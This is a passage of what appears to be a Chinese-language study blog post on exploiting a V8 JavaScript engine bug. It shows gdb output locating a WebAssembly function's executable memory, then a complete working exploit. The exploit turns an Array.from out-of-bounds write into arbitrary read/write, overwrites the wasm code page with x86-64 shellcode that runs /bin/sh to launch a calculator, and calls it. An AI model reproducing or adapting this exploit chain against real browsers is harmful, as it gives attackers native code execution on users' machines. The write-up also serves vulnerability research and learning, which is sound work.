- shared_info: 0x2320c0ba7ed1 <SharedFunctionInfo 0>
- name: 0x9d907dcf6d9 <String[1]: 0>
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x2320c0b83eb1 <FixedArray[234]>
- code: 0xd608010e201 <Code JS_TO_WASM_FUNCTION>
- WASM instance 0x2320c0ba7d31
context 0x55db56829430
- WASM function index 0
- properties: 0x34b834c0e0f9 <PropertyArray[3]> {
#length: 0x9d907dd0299 <AccessorInfo> (const accessor descriptor)
#name: 0x9d907dd0229 <AccessorInfo> (const accessor descriptor)
#arguments: 0x9d907dd0149 <AccessorInfo> (const accessor descriptor)
#caller: 0x9d907dd01b9 <AccessorInfo> (const accessor descriptor)
0x9d907dcfaf9 <Symbol: (wasm_instance_symbol)>: 0x2320c0ba7d31 <Instance map = 0xdcb19c0bd61> (data field 0) properties[0]
0x9d907dcfad9 <Symbol: (wasm_function_index_symbol)>: 0 (data field 1) properties[1]

在偏移为18的地方得到shared_info的地址0x2320c0ba7ed1,再找到code字段,code+0x70+2处存放的就是wasm_addr的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
gdb-peda$ job 0x2320c0ba7ed1
0x2320c0ba7ed1: [SharedFunctionInfo] in OldSpace
- map: 0x1a6238d02889 <Map[128]>
- name: 0x9d907dcf6d9 <String[1]: 0>
- kind: NormalFunction
- function_map_index: 128
- formal_parameter_count: 0
- expected_nof_properties: 0
- language_mode: sloppy
- code: 0xd608010e201 <Code JS_TO_WASM_FUNCTION>
- function token position: 0
- start position: 0
- end position: 0
- no debug info
- scope info: 0x9d907d82459 <ScopeInfo[0]>
- length: 0
- feedback_metadata: 0x9d907d82931: [FeedbackMetadata] in OldSpace
- map: 0x1a6238d03071 <Map>
- slot_count: 0

- no preparsed scope data
gdb-peda$ job 0xd608010e201
0xd608010e201: [Code]
- map: 0x1a6238d028e1 <Map>
kind = JS_TO_WASM_FUNCTION
compiler = turbofan
address = 0xd608010e201
Body (size = 67)
Instructions (size = 44)
0xd608010e260 0 55 push rbp
0xd608010e261 1 4889e5 REX.W movq rbp,rsp
0xd608010e264 4 56 push rsi
0xd608010e265 5 57 push rdi
0xd608010e266 6 48be30948256db550000 REX.W movq rsi,0x55db56829430 ;; wasm context reference
0xd608010e270 10 49ba00d067e654160000 REX.W movq r10,0x1654e667d000 (wasm function) ;; js to wasm call
0xd608010e27a 1a 41ffd2 call r10
0xd608010e27d 1d 48c1e020 REX.W shlq rax, 32
0xd608010e281 21 488be5 REX.W movq rsp,rbp
0xd608010e284 24 5d pop rbp
0xd608010e285 25 c20800 ret 0x8
0xd608010e288 28 90 nop
0xd608010e289 29 0f1f00 nop


Safepoints (size = 23)
0xd608010e27d 1d NA 0000 (sp -> fp) <none>

RelocInfo (size = 4)
0xd608010e268 wasm context reference
0xd608010e272 js to wasm call

gdb-peda$ vmmap 0x55db56829430
Start End Perm Name
0x000055db5679f000 0x000055db5686d000 rw-p [heap]
gdb-peda$ vmmap 0x1654e667d000
Start End Perm Name
0x00001654e667d000 0x00001654e667e000 rwxp mapped
gdb-peda$ x/4gx 0xd608010e200+0x70
0xd608010e270: 0x1654e667d000ba49 0xe0c148d2ff410000
0xd608010e280: 0x0008c25de58b4820 0x00000001001f0f90
gdb-peda$
  1. getshell的方法和之前相同,劫持data_bufbacking_storewasm_addr,通过DataView修改原本的wasm代码为shellcode,最后调用wasm_func即可
  2. 关于调试:这次调试还是release+debug一起调的,学长说可以修改DCHECK的宏总是返回true或者找到一个总开关注释掉,回头研究一下。

最终的exp如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
function gc()
{
for(var i = 0;i < ((1024*1024));i++){
var a = new String();
}
}

// create a dataview
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);


// const getMethods = (obj) => {
// let properties = new Set()
// let currentObj = obj
// do {
// Object.getOwnPropertyNames(currentObj).map(item => properties.add(item))
// } while ((currentObj = Object.getPrototypeOf(currentObj)))
// return [...properties.keys()].filter(item => typeof obj[item] === 'function')
// }

// console.log(getMethods(dv));

var buf8 = new ArrayBuffer(8);
var f64 = new Float64Array(buf8);
var u32 = new Uint32Array(buf8);

function f2i(d) {
f64[0] = d;
let r = Array.from(u32);
return r[1]*0x100000000+r[0];
}
// uint64 => double64
function i2f(u) {
let r = [];
r[0] = parseInt(u % 0x100000000);
r[1] = parseInt((u - r[0]) / 0x100000000);
u32.set(r);
return f64[0];
}

function hex(i)
{
return i.toString(16).padStart(16, "0");
}

gc();
var a = {"a":"1"};
var oobArray = [7.7];
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
max : 1000,
next() {
let result = this.counter++;
if (this.counter == this.max) {
oobArray.length = 10;
//oobArray[2048] = 1.1;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
gc();
var double_arr = [1.1,2.2,3.3,4.4,5.5,6.6];
gc();
var obj_arr = [a];
gc();
/*
%DebugPrint(oobArray);
%DebugPrint(double_arr);
%DebugPrint(obj_arr);
%SystemBreak();
*/
//leak double_arr map
var double_arr_map = oobArray[28];
console.log("[+]leaked double arr maps : " + hex(f2i(double_arr_map)));
//leak obj_arr map
var obj_arr_map = oobArray[48];
console.log("[+]leaked obj arr maps : " + hex(f2i(obj_arr_map)));
//make addressOf and fake obj

function addressOf(obj)
{
obj_arr[0] = obj;
//change the maps of obj_arr
oobArray[48] = double_arr_map;
//return the address
var addr = f2i(obj_arr[0])-1;
//var addr = obj_arr[0].toString();
//change back
oobArray[48] = obj_arr_map;
return addr;
}
//
function fakeObj(addr)
{
//%SystemBreak();
double_arr[0] = i2f(addr+1);
//change the maps of double_arr
oobArray[28] = obj_arr_map;
//
var res = double_arr[0];
oobArray[28] = double_arr_map;
return res;
}

//console.log("------------leaking using addressOf-------------");

//wasm method
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule,{});
var f = wasmInstance.exports.main;

var f_addr = addressOf(f);
console.log("[+]f addr : " + hex(f_addr));
console.log("[+]leaked double arr maps : " + hex(f2i(double_arr_map)));
console.log("[+]leaked obj arr maps : " + hex(f2i(obj_arr_map)));
//--------------------------arbRead/arbWrite----------------------
var double_arr_addr = addressOf(double_arr);
//making the fake array to fakeObj
//step1. calculate the address of fake_arr_elements
elements_addr = double_arr_addr + 0x10 * 6;
console.log("[+]elements addr is : " + hex(elements_addr));
double_arr[1] = double_arr_map;
double_arr[2] = i2f(0);
double_arr[3] = i2f(elements_addr+1);
double_arr[4] = i2f(0x1000000000);
//following will make a new elements which not same as we calculted before!
// double_arr = [
// double_arr_map, //maps
// i2f(0x0), //prototype
// i2f(elements_addr+0x11), //fake_elements
// i2f(0x2), //length
// 1.1, //fake data
// 2.2 //fake data
// ]
var fake_obj = fakeObj(elements_addr+0x18);
console.log("[+]faked obj addr : " + hex(addressOf(fake_obj)));
//%SystemBreak();
function arbRead(addr)
{
double_arr[3] = i2f(addr-0x10+1);
// %DebugPrint(fake_obj);
// %DebugPrint(double_arr);
// %SystemBreak();
var res = fake_obj[0];
// %DebugPrint(fake_obj);
// %DebugPrint(double_arr);
// %SystemBreak();
double_arr[3] = i2f(elements_addr+1);
return f2i(res)-1;
}
function arbWrite(addr,val)
{
double_arr[3] = i2f(addr-0x10+1);
fake_obj[0] = i2f(val);
double_arr[3] = i2f(elements_addr+0x11);
return;
}
var shared_info_addr = arbRead(f_addr+0x18);
console.log("[+]shared info addr : " + hex(shared_info_addr));
code_addr = arbRead(shared_info_addr+8);
console.log("[+]code addr : " + hex(code_addr));
wasm_addr = arbRead(code_addr+0x70+2)+1;
console.log("[+]wasm addr : " + hex(wasm_addr));
//--------------------get shell----------------------
var data_buf = new ArrayBuffer(128);
var data_view = new DataView(data_buf);
//getMethods(data_view);
backing_store_addr = addressOf(data_buf)+0x20;
console.log("[+]backing store addr : " + hex(backing_store_addr));
let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
arbWrite(backing_store_addr,wasm_addr);
console.log("[+]hijacked the backing store addr.");
// %DebugPrint(data_buf);
// %SystemBreak();

for(var i = 0; i < sc.length; i++){
data_view.setUint8(i,sc[i]);
}
console.log("[+]hijacked the wasm addr.");
// %DebugPrint(data_buf);
// %SystemBreak();
f();
//%DebugPrint(oobArray);
//%SystemBreak();
您的支持将鼓励我继续创作